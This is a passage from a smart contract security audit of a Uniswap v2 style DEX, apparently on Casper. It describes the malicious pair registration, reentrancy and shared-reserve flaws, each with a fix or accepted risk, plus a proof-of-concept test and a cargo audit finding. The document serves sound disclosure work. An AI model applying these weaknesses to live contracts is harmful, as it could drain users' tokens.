SOLVED: The issue was solved in the commit 4865e by removing flash-loan functionalities from the pair contract.

3.6 (HAL-06) USERS CAN ADD MALICIOUS PAIRS TO FACTORY - CRITICAL

Description:

It was observed that when the add_liquidity function inside the uniswap-router contract is called with some pair_received parameter, it calls the create_pair function inside the factory contract, and as a result factory contract adds this pair contract hash to the list.

However, this process also enables adversaries to add customized malicious pair contracts to the factory contract, which may be programmed to steal users tokens or similar.

Code Location:

Down below are code snippets from the create_pair and _add_liquidty functions:

Listing 10: /uniswap-v2-router/uniswap-v2-router/src/uniswap_v2_-router.rs (Lines 1074,1092-1101)

```
1067 fn _add_liquidity(
1068         token_a: ContractPackageHash,
1069         token_b: ContractPackageHash,
1070         amount_a_desired: U256,
1071         amount_b_desired: U256,
1072         amount_a_min: U256,
1073         amount_b_min: U256,
1074         pair_received: Option<Key>,
1075     ) -> (U256, U256) {
1076         let factory: ContractPackageHash = data::factory();
1077         let args: RuntimeArgs = runtime_args! {
1078             "token0" => Key::from(token_a),
1079             "token1" => Key::from(token_b)
1080         };
1081         let pair: Key = Self::call_versioned_contract(
1082             &factory.to_formatted_string(),
1083             uniswapv2_contract_methods::FACTORY_GET_PAIR,
```

```
                args,
            );
        let zero_addr: Key = Key::from_formatted_str(
                "hash-0000000000000000000000000000000000000000000000000000000000000000",
        )
        .unwrap();
        let mut pair_already_exist: bool = false;
...(snipped)
        if pair_already_exist == false {
            // need to call create_pair only once for each pair. If a same pair is passed again, no need to call this again
            let pair = pair_received.unwrap();
            let args = runtime_args! {
                "token_a" => Key::from(token_a),
                "token_b" => Key::from(token_b),
                "pair_hash" => Key::from(pair)
            };
            let _: () = Self::call_versioned_contract(
                &factory.to_formatted_string(),
                uniswapv2_contract_methods::FACTORY_CREATE_PAIR, // this create_pair method DOES NOT create a new pair, instead it initializes the pair passed in
                args,
            );
        }
```

Listing 11: /factory/factory/src/factory.rs (Lines 74,84,85)

```
74 fn create_pair(&mut self, token_a: Key, token_b: Key, pair_hash: Key) {
75   ...(snipped)
76             let _ret: () = runtime::call_versioned_contract(
77                 pair_package_hash,
78                 None,
79                 "initialize",
80                 runtime_args! {"token0" => token0, "token1" => token1, "factory_hash" => data::get_package_hash() },
81             );
82 
83             // handling the pair creation by updating the storage
84             self.set_pair(token0, token1, pair_hash);
85             self.set_pair(token1, token0, pair_hash);
```

```
            let mut pairs: Vec<Key> = get_all_pairs();
            pairs.push(pair_hash);
            self.set_all_pairs(pairs);
```

Risk Level:

Likelihood - 5
Impact - 5

Recommendation:

It is recommended to redesign the application to **not** allow users to add arbitrary pair hashes to factory contract.

Remediation Plan:

SOLVED: The issue was solved in the commit 04f45 by implementing an access control measure which only gives permission to white listed accounts to use this function.

3.7 (HAL-07) MISSING REMOVE PAIR FUNCTIONALITY - MEDIUM

Description:

It was observed the factory contract does not implement a remove pair feature, and since the application logic allows anybody to register their pair contracts, it is crucial to implement a remove pair functionality to remove any malicious or unwanted pairs from the factory.

Risk Level:

Likelihood - 3
Impact - 3

Recommendation:

It is recommended to add a remove pair function to the factory contract.

Remediation Plan:

SOLVED: The issue was solved in the commit 65fe2 by implementing a remove_pair function.

3.8 (HAL-08) PAIR SWAP FUNCTION IS RE ENTRANT - LOW

Description:

It was observed that the swap function, inside the pair contract, does not have a protection against reentrancy attacks, which makes it vulnerable to attacks such as HAL-05.

Code Location:

Down below is the code snippet from the swap function:

Listing 12: /pair/pair/src/pair.rs

```
    fn swap(&mut self, amount0_out: U256, amount1_out: U256, to:
 ↳ Key, data: String) {
        let pair_address: Key = Key::from(data::get_package_hash()
 ↳ );
        let zero: U256 = 0.into();
        if amount0_out > zero || amount1_out > zero {
    ...(snipped)
```

Risk Level:

Likelihood - 2
Impact - 2

Recommendation:

It is recommended to add a reentrancy guard to the swap function, like the skim and sync functions.

Remediation Plan:

SOLVED: The issue was solved in the commit 623ce4ab3d8e19436cd709999beb80da9d871e28 by implementing a reentrancy guard to the swap function.

3.9 (HAL-09) MISSING PAUSE FUNCTIONALITY - LOW

Description:

It was observed that the pair contract does not have a pause functionality, which makes it harder to remediate if a critical vulnerability is discovered or a critical situation occur.

Risk Level:

Likelihood - 2
Impact - 2

Recommendation:

It is recommended to add a pause functionality to the pair contract.

Remediation Plan:

SOLVED: The issue was solved in the commit 33219 by implementing pause functionality in the pair contracts.

3.10 (HAL-10) PAIR TOKEN BALANCES MAY MANIPULATE EACH OTHER WHEN A TOKEN CONTRACT USED FOR MANY PAIRS - LOW

Description:

It was observed that pair contracts can be used with multiple token pairs, and the initialize function is used to set the token pair before using it.

However, if two token pairs refer to the same token, then reserve changes on that specific token affect both pairs simultaneously, which can introduce create critical issues.

To explain with an example;
Consider a pair of contract which has the following pairs: Pair1 (100 TokenA - 100 TokenB), Pair2 (100 TokenA - 100 Token C)
If a user adds liquidity to pair1; for example 100 Token A - 100 Token B, then this affects pair2 and increases the TokenA reserve against TokenC

Code Location:

Down below is the code snippet from the set_treasury_fee_percent function:

Listing 13: /pair/pair/src/pair.rs

```
    fn get_reserves(&mut self) -> (U128, U128, u64) {
        let reserve0: U128 = data::get_reserve0();
        let reserve1: U128 = data::get_reserve1();
        let block_timestamp_last: u64 = data::get_block_timestamp_last();
        return (reserve0, reserve1, block_timestamp_last);
    }
```

Risk Level:

Likelihood - 3
Impact - 1

Proof Of Concept:

Listing 14

```
#[test]
fn poc_many_pairs_in_1pair_contract() {
    let (
        env,
        uniswap,
        owner,
        _router_contract,
        flash_swapper,
        _,
        token1,
        token2,
        token3,
        _,
        factory,
    ) = deploy_uniswap_router();


    let decimals: u8 = 18;
    let init_total_supply: U256 = 0.into();

    let pair1 = TestContract::new(
        &env,
        "pair-token.wasm",
        "pair",
        owner,
        runtime_args! {
            "name" => "pair",
            "symbol" => "P1",
            "decimals" => decimals,
            "initial_supply" => init_total_supply,
            "factory_hash" => Key::Hash(factory.package_hash()),
            "callee_contract_hash" => Key::Hash(flash_swapper.package_hash())
        },
```

```
    );

    let pair2 = TestContract::new(
        &env,
        "pair-token.wasm",
        "pair",
        owner,
        runtime_args! {
            "name" => "pair",
            "symbol" => "P2",
            "decimals" => decimals,
            "initial_supply" => init_total_supply,
            "factory_hash" => Key::Hash(factory.package_hash()),
            "callee_contract_hash" => Key::Hash(flash_swapper.package_hash())
        },
    );

    let token_1_hash = Key::Hash(token1.package_hash());
    let token_2_hash = Key::Hash(token2.package_hash());
    let token_3_hash = Key::Hash(token3.package_hash());
    let pair1_hash = Key::Hash(pair1.package_hash());
    let pair2_hash = Key::Hash(pair2.package_hash());

    println!("Pair1 hash: {:?}", pair1_hash);
    println!("Pair2 hash: {:?}", pair2_hash);
    println!("Token1 hash: {:?}", token_1_hash);
    println!("Token2 hash: {:?}", token_2_hash);
    println!("Token3 hash: {:?}", token_3_hash);

    let amount_a_desired: U256 = U256::from(100000);
    let amount_b_desired: U256 = U256::from(100000);
    let amount_a_min: U256 = U256::from(100000);
    let amount_b_min: U256 = U256::from(100000);

    let deadline: u128 = match SystemTime::now().duration_since(UNIX_EPOCH) {
        Ok(n) => n.as_millis() + (1000 * (300 * 60)), // current epoch time in milisecond + 30 minutes
        Err(_) => 0,
    };

    uniswap.add_liquidity(
        owner,
```

```
            token_1_hash,
            token_2_hash,
            amount_a_desired,
            amount_b_desired,
            amount_a_min,
            amount_b_min,
            Key::from(owner),
            deadline.into(),
            Some(pair1_hash),
        );

        let pair_list: Vec<Key> = factory.query_named_key("all_pairs".to_string());
        println!("{:?}", pair_list);

        let amount_a_desired: U256 = U256::from(200000);
        let amount_b_desired: U256 = U256::from(200000);
        let amount_a_min: U256 = U256::from(200000);
        let amount_b_min: U256 = U256::from(200000);

        uniswap.add_liquidity(
            owner,
            token_1_hash,
            token_3_hash,
            amount_a_desired,
            amount_b_desired,
            amount_a_min,
            amount_b_min,
            Key::from(owner),
            deadline.into(),
            Some(pair2_hash),
        );

        let pair_list: Vec<Key> = factory.query_named_key("all_pairs".to_string());
        println!("{:?}", pair_list);
}
```

Recommendation:

It is recommended to redesign the application logic to use only one pair contract for each token pair.

Remediation Plan:

RISK ACCEPTED: Rengo Labs implemented an admin access control to add new pairs, and also implemented a remove_pair functionality to remove any bad pairs from the factory contract. Which reduces the likelihood, and impact, of this issue.

The severity of this issue has been reduced from critical to low, and the risk introduced by this issue has been accepted.

AUTOMATED TESTING

4.1 AUTOMATED ANALYSIS

Description:

Halborn used automated security scanners to assist with detection of well-known security issues and vulnerabilities. Among the tools used was cargo audit, a security scanner for vulnerabilities reported to the RustSec Advisory Database. All vulnerabilities published in https://crates.io are stored in a repository named The RustSec Advisory Database. cargo audit is a human-readable version of the advisory database which performs a scanning on Cargo.lock. Security Detections are only in scope. To better assist the developers maintaining this code, the auditors are including the output with the dependencies tree, and this is included in the cargo audit output to better know the dependencies affected by unmaintained and vulnerable crates.
Halborn used automated security scanners to assist with detection of well-known security issues and vulnerabilities. Among the tools used was cargo audit, a security scanner for vulnerabilities reported to the RustSec Advisory Database. All vulnerabilities published in https://crates.io are stored in a repository named The RustSec Advisory Database. cargo audit is a human-readable version of the advisory database which performs a scanning on Cargo.lock. Security Detections are only in scope. All vulnerabilities shown here were already disclosed in the above report. However, to better assist the developers maintaining this code, the auditors are including the output with the dependencies tree, and this is included in the cargo audit output to better know the dependencies affected by unmaintained and vulnerable crates.

ID	package	Short Description
RUSTSEC-2021-0076	libsecp256k1 0.3.5	allows overflowing signatures, upgrade to >=0.2.23

Listing 15

```
{caption=Dependency tree}
libsecp256k1 0.3.5
```

```
 renvm-sig 0.1.1
     tests 0.1.0
     pair 0.1.0
        factory 0.1.0
     factory 0.1.0

libsecp256k1 0.3.5
 renvm-sig 0.1.1
     tests 0.1.0
     deflating-erc20 0.1.0
```

THANK YOU FOR CHOOSING

HALBORN